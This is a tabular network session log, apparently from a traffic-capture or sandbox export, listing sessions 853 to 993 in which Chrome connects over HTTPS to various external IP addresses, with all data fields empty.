Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.17	50751	142.250.65.161	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.17	50773	34.102.243.38	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.17	50785	54.209.155.255	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.17	50736	50.16.98.63	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.17	50774	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.17	50764	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.17	50793	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.17	50786	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.17	50777	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.17	50762	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.17	50780	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.17	50813	54.83.194.95	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.17	50806	52.203.194.106	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.17	50804	54.160.182.222	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.17	50789	142.250.80.2	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.17	50800	44.199.126.93	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.17	50755	104.18.25.173	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.17	50802	54.160.182.222	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.17	50783	35.244.154.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.17	50781	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.17	50779	104.36.113.111	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.17	50792	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.17	50809	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.17	50807	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.17	50795	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.17	50823	44.208.175.93	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
879	192.168.2.17	50782	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.17	50815	54.147.229.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.17	50805	52.203.194.106	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.17	50819	54.85.176.124	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.17	50810	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.17	50796	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.17	50814	18.214.198.116	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
886	192.168.2.17	50816	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.17	50827	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.17	50811	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.17	50817	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.17	50798	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.17	50822	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.17	50818	54.85.176.124	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.17	50830	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.17	50801	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.17	50825	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.17	50821	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.17	50828	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.17	50824	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.17	50833	35.214.244.198	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.17	50837	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.17	50840	52.203.194.106	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.17	50838	54.209.155.255	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.17	50851	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.17	50862	142.250.176.198	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.17	50839	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.17	50841	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.17	50843	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.17	50836	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.17	50787	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.17	50797	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.17	50845	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.17	50861	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.17	50848	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.17	50849	35.244.154.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.17	50842	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.17	50868	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.17	50847	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
918	192.168.2.17	50788	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.17	50803	54.160.182.222	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.17	50855	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.17	50850	54.197.158.229	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.17	50866	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.17	50859	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.17	50854	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.17	50856	54.85.176.124	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
926	192.168.2.17	50863	18.214.198.116	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
927	192.168.2.17	50853	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.17	50864	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.17	50869	44.205.174.187	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.17	50865	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.17	50870	54.85.176.124	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.17	50867	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.17	50873	18.238.55.31	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.17	50874	54.209.155.255	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.17	50879	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.17	50881	142.250.65.238	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.17	50882	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.17	50896	142.250.80.2	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.17	50895	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.17	50893	104.17.25.14	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.17	50880	142.250.65.238	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
942	192.168.2.17	50894	74.119.117.24	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.17	50900	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
944	192.168.2.17	50899	54.197.158.229	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.17	50887	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.17	50883	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.17	50889	13.226.34.110	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.17	50886	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.17	50885	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.17	50897	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
951	192.168.2.17	50898	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
952	192.168.2.17	50884	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.17	50888	13.226.34.110	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.17	50901	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.17	50820	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.17	50904	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.17	50905	104.17.25.14	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.17	50908	104.18.35.159	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.17	50910	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.17	50911	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.17	50912	104.18.35.159	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.17	50914	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.17	50917	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.17	50918	172.253.62.157	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.17	50919	104.18.35.159	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.17	50916	52.205.175.16	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.17	50920	172.64.152.97	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
968	192.168.2.17	50921	172.253.63.154	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.17	50922	142.250.80.4	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.17	50923	50.17.55.7	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.17	50924	142.251.40.100	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.17	50871	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.17	50926	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.17	50929	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
975	192.168.2.17	50930	88.119.175.92	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.17	50936	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.17	50937	142.250.80.34	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.17	50938	34.120.202.204	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.17	50925	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.17	50942	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.17	50943	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.17	50944	151.101.64.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.17	50945	151.101.64.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.17	50946	142.251.40.132	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.17	50951	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.17	50952	151.101.192.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.17	50953	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.17	50954	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.17	50955	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.17	50957	151.101.192.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.17	50958	142.251.40.100	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.17	50960	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.17	50962	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
